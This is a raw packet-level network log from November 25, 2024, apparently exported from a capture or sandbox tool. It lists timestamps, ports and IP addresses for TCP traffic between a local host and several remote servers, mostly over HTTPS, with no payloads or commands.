Nov 25, 2024 05:46:43.991889000 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.995251894 CET	49850	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.995605946 CET	49858	443	192.168.2.6	18.165.220.57
Nov 25, 2024 05:46:43.995733023 CET	49835	443	192.168.2.6	2.16.158.184
Nov 25, 2024 05:46:43.996447086 CET	49853	443	192.168.2.6	2.16.158.96
Nov 25, 2024 05:46:43.997008085 CET	49866	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.997030020 CET	443	49866	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:43.997104883 CET	49866	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.997909069 CET	49872	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.997932911 CET	443	49872	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:43.997942924 CET	49851	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.997982979 CET	49872	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.998591900 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.998605013 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:43.999252081 CET	49866	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.999269009 CET	443	49866	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:43.999825954 CET	49872	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.999842882 CET	443	49872	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.016913891 CET	443	49835	2.16.158.184	192.168.2.6
Nov 25, 2024 05:46:44.017066002 CET	443	49835	2.16.158.184	192.168.2.6
Nov 25, 2024 05:46:44.017121077 CET	49835	443	192.168.2.6	2.16.158.184
Nov 25, 2024 05:46:44.017144918 CET	49835	443	192.168.2.6	2.16.158.184
Nov 25, 2024 05:46:44.035352945 CET	443	49850	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.039341927 CET	443	49849	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.039341927 CET	443	49851	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.043323994 CET	443	49853	2.16.158.96	192.168.2.6
Nov 25, 2024 05:46:44.043338060 CET	443	49858	18.165.220.57	192.168.2.6
Nov 25, 2024 05:46:44.323925018 CET	49875	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:44.323956013 CET	443	49875	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.324218988 CET	49875	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:44.324440002 CET	49875	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:44.324451923 CET	443	49875	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.352224112 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.356178999 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.356225014 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.356252909 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.366581917 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:44.366698027 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:44.367763042 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.367805958 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.367814064 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.377463102 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.377593040 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.377612114 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.390105963 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.390167952 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.390173912 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.403803110 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.403851986 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.403857946 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.404711008 CET	49876	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:44.404750109 CET	443	49876	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.404814005 CET	49876	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:44.404974937 CET	49876	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:44.404989004 CET	443	49876	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.417253017 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.417289972 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.417295933 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.456500053 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:44.456542015 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.456604004 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:44.456845999 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:44.456856966 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.471776962 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.471873999 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.471889019 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.475931883 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.475976944 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.475984097 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.565998077 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.566057920 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.566071987 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.573210955 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.573285103 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.573291063 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.580307961 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.580393076 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.580416918 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.587577105 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.587635040 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.587654114 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.599106073 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.599176884 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.599211931 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.603926897 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.603986979 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.604002953 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.615478039 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.615528107 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.615535975 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.629025936 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.629080057 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.629087925 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.642556906 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.642637968 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.642657042 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.655277967 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.658004999 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.658021927 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.667267084 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.670165062 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.670175076 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.678778887 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.681905985 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.681915045 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.690557003 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.691406965 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.691418886 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.702409983 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.706044912 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.706056118 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.727308035 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.729583979 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.729614973 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.729662895 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.729672909 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.729701042 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.772999048 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.773060083 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.773122072 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.773137093 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.773607969 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.774919987 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.780638933 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.780683994 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.780693054 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.784794092 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.784845114 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.784851074 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.789005041 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.789055109 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.789061069 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.793142080 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.793201923 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.793215990 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.797238111 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.798355103 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.798363924 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.801381111 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.801455021 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.801461935 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.806492090 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:44.806534052 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.806586981 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.806596994 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.811305046 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.811737061 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.811743975 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.815830946 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.815888882 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.815896988 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.821599007 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.822226048 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.822235107 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.829080105 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.829129934 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.829138994 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.844810009 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.846282005 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.846292019 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.851090908 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.853609085 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.853616953 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.863749981 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.863807917 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.863816023 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.875590086 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.878258944 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.878266096 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.878385067 CET	443	49849	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.878465891 CET	49849	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:44.880978107 CET	443	49850	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.881050110 CET	49850	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:44.887430906 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.888679981 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.888734102 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.888742924 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.889421940 CET	443	49851	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:44.889501095 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.889501095 CET	49851	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:44.899111986 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.900434017 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.900481939 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.900490999 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.903095961 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.903145075 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.903152943 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.910861015 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.910906076 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.910917044 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.912269115 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.912522078 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.912529945 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.925906897 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:44.935684919 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.935728073 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.935734987 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.936882973 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.936935902 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.936940908 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.939903975 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.940125942 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.940133095 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.941138029 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.941315889 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.941334963 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.941869974 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:44.941915035 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:44.941960096 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:45.130827904 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.131161928 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.131412983 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.131433964 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.131866932 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.131872892 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.133984089 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.133996964 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.134676933 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.134680986 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.135107040 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.135485888 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.135504007 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.136138916 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.136143923 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.136219025 CET	443	49844	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.136543036 CET	49844	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.136564970 CET	443	49844	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.136579990 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.137351990 CET	49844	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.137356043 CET	443	49844	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.137676001 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.137687922 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.138083935 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:45.138088942 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.210508108 CET	443	49866	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.211153984 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.216924906 CET	49866	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.216941118 CET	443	49866	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.217221022 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.217232943 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.218064070 CET	443	49866	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.218136072 CET	49866	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.218297005 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.218360901 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.220618963 CET	49866	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.220746994 CET	443	49866	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.224376917 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.224509954 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.224824905 CET	49866	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.224833012 CET	443	49866	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.224994898 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.225009918 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.252125978 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.252187967 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.252201080 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.252259016 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.252355099 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.252460957 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.252499104 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.252510071 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.252521992 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.252562046 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.252609968 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.252672911 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.252684116 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.252732992 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.252732992 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.260898113 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.260910988 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.260961056 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.269244909 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.269315958 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.269335032 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.269387007 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.288986921 CET	49866	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.309629917 CET	443	49872	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.309869051 CET	49872	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.309892893 CET	443	49872	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.313451052 CET	443	49872	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.313514948 CET	49872	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.314649105 CET	49872	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.314814091 CET	49872	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.314893007 CET	443	49872	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.350718021 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.371587992 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.371736050 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.453310013 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.453346968 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.453387976 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.453387976 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.457252979 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.457340956 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.458724022 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.458792925 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.458806038 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.459085941 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.466717005 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.466758966 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.466788054 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.466788054 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.474669933 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.474718094 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.474823952 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.474858046 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.482665062 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.482743979 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.482764959 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.482812881 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.489824057 CET	49872	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:45.489842892 CET	443	49872	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:45.490715981 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.490788937 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.490853071 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.490853071 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.498662949 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.498806000 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.498815060 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.498878956 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.506620884 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.506720066 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.506728888 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.507023096 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.516413927 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.516427994 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.516472101 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.521574020 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.521666050 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.521670103 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.521847963 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.528532028 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.528626919 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:45.528650999 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.528692007 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:45.541145086 CET	443	49853	2.16.158.96	192.168.2.6
Nov 25, 2024 05:46:45.541296959 CET	443	49853	2.16.158.96	192.168.2.6
Nov 25, 2024 05:46:45.541363955 CET	49853	443	192.168.2.6	2.16.158.96
Nov 25, 2024 05:46:45.541397095 CET	49853	443	192.168.2.6	2.16.158.96
Nov 25, 2024 05:46:45.573975086 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.574060917 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:45.574120998 CET	49845	443	192.168.2.6	13.107.246.63
